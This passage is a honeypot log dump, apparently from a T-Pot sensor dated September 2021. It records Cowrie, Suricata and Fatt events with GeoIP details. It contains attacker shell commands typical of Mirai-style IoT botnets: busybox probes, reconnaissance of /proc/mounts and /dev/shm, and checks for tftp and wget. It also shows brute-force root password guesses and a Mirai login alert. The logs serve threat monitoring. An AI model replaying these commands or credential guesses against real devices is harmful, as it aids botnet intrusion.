alias\\r\\nenable bg\\r\\nenable bind\\r\\nenable break\\r\\nenable builtin\\r\\nenable caller\\r\\nenable cd\\r\\nenable command\\r\\nenable compgen\\r\\nenable complete\\r\\nenable continue\\r\\nenable declare\\r\\nenable dirs\\r\\nenable disown\\r\\nenable echo\\r\\nenable enable\\r\\nenable eval\\r\\nenable exec\\r\\nenable exit\\r\\nenable export\\r\\nenable false\\r\\nenable fc\\r\\nenable fg\\r\\nenable getopts\\r\\nenable hash\\r\\nenable help\\r\\nenable history\\r\\nenable jobs\\r\\nenable kill\\r\\nenable let\\r\\nenable local\\r\\nenable logout\\r\\nenable popd\\r\\nenable printf\\r\\nenable pushd\\r\\nenable pwd\\r\\nenable read\\r\\nenable readonly\\r\\nenable return\\r\\nenable set\\r\\nenable shift\\r\\nenable shopt\\r\\nenable source\\r\\nenable suspend\\r\\nenable test\\r\\nenable times\\r\\nenable trap\\r\\nenable true\\r\\nenable type\\r\\nenable typeset\\r\\nenable ulimit\\r\\nenable umask\\r\\nenable unalias\\r\\nenable unset\\r\\nenable wait\\r\\n.[4hroot@ubuntu:~# system\\r\\n-bash: system: command not found\\r\\nroot@ubuntu:~# shell\\r\\n-bash: shell: command not found\\r\\nroot@ubuntu:~# sh\\r\\n.[4l.[4hroot@ubuntu:~# cat /proc/mounts; /bin/busybox RIUJR\\r\\n.[4lrootfs / rootfs rw 0 0\\r\\nsysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0\\r\\nproc /proc proc rw,relatime 0 0\\r\\nudev /dev devtmpfs rw,relatime,size=10240k,nr_inodes=997843,mode=755 0 0\\r\\ndevpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0\\r\\ntmpfs /run tmpfs rw,nosuid,relatime,size=1613336k,mode=755 0 0\\r\\n/dev/dm-0 / ext3 rw,relatime,errors=remount-ro,data=ordered 0 0\\r\\ntmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0\\r\\ntmpfs /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0\\r\\nsystemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=22,pgrp=1,timeout=300,minproto=5,maxproto=5,direct 0 0\\r\\nfusectl /sys/fs/fuse/connections fusectl rw,relatime 0 0\\r\\n/dev/sda1 /boot ext2 rw,relatime 0 0\\r\\n/dev/mapper/home /home ext3 rw,relatime,data=ordered 0 0\\r\\nbinfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0\\r\\n.[4h.[4lRIUJR: applet not found\\r\\n.[4hroot@ubuntu:~# cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RIUJR\\r\\n.[4l.[4h.[4lcat: .s: No such file or directory\\r\\n.[4h.[4l.[4h.[4lRIUJR: applet not found\\r\\n.[4hroot@ubuntu:/dev/shm# tftp; wget; /bin/busybox RIUJR\\r\\n.[4lusage: tftp [-h] [-c C C] [-l L] [-g G] [-p P] [-r R] [hostname]\\r\\n.[4h.[4lwget: missing URL\\r\\nUsage: wget [OPTION]... [URL]...\\r\\n\\r\\nTry `wget --help' for more options.\\r\\n.[4h.[4lRIUJR: applet not found\\r\\n.[4hroot@ubuntu:/dev/shm# "}}	1	\N	\N	alert	\N	\N
19978	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:37.126857+03	2021-09-20 14:15:01.791613+03	{"_id": "bwXgAnwBvYTbRNuEK_iC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "tftp; wget; /bin/busybox RIUJR", "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.command.input", "message": "CMD: tftp; wget; /bin/busybox RIUJR", "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:37.126857Z", "@timestamp": "2021-09-20T11:03:37.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
19979	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:37.351399+03	2021-09-20 14:15:01.793613+03	{"_id": "cAXgAnwBvYTbRNuEK_iC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s", "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.command.input", "message": "CMD: dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s", "session": "a958228e586c", "@version": "1", "timestamp": "2021-09-20T11:03:37.351399Z", "@timestamp": "2021-09-20T11:03:37.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	\N	\N
20282	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:02:19.909602+03	2021-09-20 14:15:02.182613+03	{"_id": "HQXeAnwBvYTbRNuE_ffB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:02:19.909602Z", "@timestamp": "2021-09-20T11:02:19.909Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19980	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:37.363598+03	2021-09-20 14:15:01.794613+03	{"_id": "cQXgAnwBvYTbRNuEK_iC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2775, "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "sensor": "b63cdd9641b8", "shasum": "c1ffc5f96005f75b302ada3be6680eb2e00b364b80ee59de1ee85552bef09706", "src_ip": "177.64.206.208", "ttylog": "log/tty/c1ffc5f96005f75b302ada3be6680eb2e00b364b80ee59de1ee85552bef09706", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/c1ffc5f96005f75b302ada3be6680eb2e00b364b80ee59de1ee85552bef09706 after 1 seconds", "session": "a958228e586c", "@version": "1", "duration": 1.1459336280822754, "duplicate": false, "timestamp": "2021-09-20T11:03:37.363598Z", "@timestamp": "2021-09-20T11:03:37.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	\N	\N
19981	177.64.206.208	109.199.241.180	Cowrie	2021-09-20 14:03:37.364423+03	2021-09-20 14:15:01.796613+03	{"_id": "cgXgAnwBvYTbRNuEK_iC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "sensor": "b63cdd9641b8", "src_ip": "177.64.206.208", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "a958228e586c", "@version": "1", "duration": 4.213055610656738, "timestamp": "2021-09-20T11:03:37.364423Z", "@timestamp": "2021-09-20T11:03:37.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
19982	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:03:37.993297+03	2021-09-20 14:15:01.797613+03	{"_id": "cwXgAnwBvYTbRNuEK_iC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "29357653813e", "@version": "1", "duration": 2.1827127933502197, "timestamp": "2021-09-20T11:03:37.993297Z", "@timestamp": "2021-09-20T11:03:37.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
19983	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:03:38.129255+03	2021-09-20 14:15:01.798615+03	{"_id": "dQXgAnwBvYTbRNuEL_hq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz2wsx1234] failed", "session": "376c94178797", "@version": "1", "password": "1qaz2wsx1234", "username": "root", "timestamp": "2021-09-20T11:03:38.129255Z", "@timestamp": "2021-09-20T11:03:38.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
19984	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:03:38.952808+03	2021-09-20 14:15:01.800612+03	{"_id": "fQXgAnwBvYTbRNuEMvh-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22162, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2428, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 14134377350219, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 43735, "timestamp": "2021-09-20T11:03:38.952808Z", "@timestamp": "2021-09-20T11:03:38.952Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19993	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:03:15.000166+03	2021-09-20 14:15:01.812612+03	{"_id": "MwXgAnwBvYTbRNuEF_gh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:13.619946+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 848972934903210, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 51927, "timestamp": "2021-09-20T11:03:15.000166Z", "@timestamp": "2021-09-20T11:03:15.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
19985	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:03:39.433359+03	2021-09-20 14:15:01.801613+03	{"_id": "fgXgAnwBvYTbRNuEMvh-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 40230, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2427, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 255648978409714, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 49005, "timestamp": "2021-09-20T11:03:39.433359Z", "@timestamp": "2021-09-20T11:03:39.433Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19986	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:39.003803+03	2021-09-20 14:15:01.802612+03	{"_id": "hAXgAnwBvYTbRNuEM_ie", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34710, "dest_port": 443, "timestamp": "2021-09-20T11:03:39.003803", "@timestamp": "2021-09-20T11:03:39.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19987	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:03:39.046668+03	2021-09-20 14:15:01.804613+03	{"_id": "hQXgAnwBvYTbRNuEM_ie", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34710, "timestamp": "2021-09-20T11:03:39.046668", "@timestamp": "2021-09-20T11:03:39.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19988	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:39.484903+03	2021-09-20 14:15:01.806613+03	{"_id": "hgXgAnwBvYTbRNuEM_ie", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34712, "dest_port": 443, "timestamp": "2021-09-20T11:03:39.484903", "@timestamp": "2021-09-20T11:03:39.484Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19989	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:03:39.527036+03	2021-09-20 14:15:01.807613+03	{"_id": "hwXgAnwBvYTbRNuEM_ie", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34712, "timestamp": "2021-09-20T11:03:39.527036", "@timestamp": "2021-09-20T11:03:39.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19990	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:03:39.782138+03	2021-09-20 14:15:01.808613+03	{"_id": "iAXgAnwBvYTbRNuEM_ie", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "376c94178797", "@version": "1", "duration": 6.109605550765991, "timestamp": "2021-09-20T11:03:39.782138Z", "@timestamp": "2021-09-20T11:03:39.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
19994	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:32.096151+03	2021-09-20 14:15:01.813613+03	{"_id": "NAXgAnwBvYTbRNuEF_j3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "81.71.17.12", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.2856724262237549, "duplicate": true, "timestamp": "2021-09-20T11:03:32.096151Z", "@timestamp": "2021-09-20T11:03:32.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19995	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:03:32.360328+03	2021-09-20 14:15:01.814613+03	{"_id": "NwXgAnwBvYTbRNuEGPg_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "2f74c6300fb4", "@version": "1", "duration": 3.1676626205444336, "timestamp": "2021-09-20T11:03:32.360328Z", "@timestamp": "2021-09-20T11:03:32.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
19996	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:33.673574+03	2021-09-20 14:15:01.816613+03	{"_id": "PwXgAnwBvYTbRNuEG_ih", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 64447, "timestamp": "2021-09-20T11:03:33.673574", "@timestamp": "2021-09-20T11:03:33.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
19997	177.64.206.208	109.199.241.180	Suricata	2021-09-20 14:03:34.57335+03	2021-09-20 14:15:01.817613+03	{"_id": "SwXgAnwBvYTbRNuEHvjy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:32.936046+0000", "pkts_toclient": 10, "pkts_toserver": 9, "bytes_toclient": 609, "bytes_toserver": 554}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2016_10_26"], "deployment": ["Datacenter"], "updated_at": ["2016_11_08"], "attack_target": ["IoT"], "affected_product": ["Linux"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET MALWARE Possible Linux.Mirai Login Attempt (666666)", "signature_id": 2023432}, "geoip": {"ip": "177.64.206.208", "asn": 28573, "as_org": "CLARO S.A.", "latitude": -5.8109, "location": {"lat": -5.8109, "lon": -35.2238}, "timezone": "America/Fortaleza", "city_name": "Natal", "longitude": -35.2238, "postal_code": "59000", "region_code": "RN", "region_name": "Rio Grande do Norte", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "src_ip": "177.64.206.208", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1686684836317294, "payload": "NjY2NjY2DQo=", "@version": "1", "in_iface": "enp5s0", "src_port": 58833, "app_proto": "failed", "dest_port": 23, "timestamp": "2021-09-20T11:03:34.573350Z", "@timestamp": "2021-09-20T11:03:34.573Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "666666\\r\\n"}}	1	\N	